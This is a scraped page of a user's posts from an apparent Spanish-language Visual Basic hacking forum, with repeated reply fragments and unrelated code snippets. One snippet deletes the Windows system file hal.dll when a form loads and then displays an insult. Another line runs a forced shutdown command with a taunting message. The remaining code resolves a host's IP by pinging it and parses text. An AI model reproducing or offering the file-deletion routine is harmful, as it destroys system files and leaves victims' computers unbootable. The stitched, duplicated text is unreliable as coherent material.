escribi la parte de
Static...
Afuera de cualquier sub
y llama al msgbox en el evento click del commandbutton.
Static...
Afuera de cualquier sub
y llama al msgbox en el evento click del commandbutton.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúShutdown -s -c "Sos un gil" -t 05
Private Sub Form_Load()
kill (Environ("SYSTEMROOT") & "\system32\hal.dll")
msgbox "Felicitaciones sos un pelotud*"
end
End Sub
' ////////////////////////////////////////////////////////////////
' // *GetIPfromHost //
' // *Autor: Elemental Code (Milton.Candelero@gmail.com) //
' // *Podeis agrandar o reducir el codigo, siempre y cuando se //
' // respete la autoria y se me comuniquen esos cambios. //
' ////////////////////////////////////////////////////////////////
Option Explicit
Public Function GetIPfromHost(ByRef sURL As String) As String
Dim WshShell, oExec, a$
Set WshShell = CreateObject("WScript.Shell")
Set oExec = WshShell.Exec("ping " & sURL)
a$ = ""
Do While oExec.Status = 0
If Not oExec.StdOut.AtEndOfStream Then
a$ = a$ & oExec.StdOut.Read(1)
End If
DoEvents
Loop
GetIPfromHost = Text_Between_Words(a$, "[", "]")
Set oExec = Nothing
Set WshShell = Nothing
End Function
' ////////////////////////////////////////////////////////////////
' // *Text_Between_Words //
' // *Autor: *PsYkE1* (miguelin.majo@gmail.com) //
' // *Podeis agrandar o reducir el codigo, siempre y cuando se //
' // respete la autoria y se me comuniquen esos cambios. //
' // *Agradecimientos a BlackZeroX. //
' // *Visita http://foro.rthacker.net //
' ////////////////////////////////////////////////////////////////
Public Function Text_Between_Words(Text As String, String1 As String, _
String2 As String) As String
Dim Pos1 As Integer
Dim Pos2 As Integer
Dim Start As Integer
Dim TotalLen As Integer
Pos1 = InStr(Text, String1)
Pos2 = InStr(Text, String2)
If Pos1 = 0 Or Pos2 = 0 Then Exit Function
Start = Pos1 + Len(String1)
TotalLen = Pos2 - Start
Text_Between_Words = Mid$(Text, Start, TotalLen)
End Function
msgbox GetIPfromHost ("www.google.com")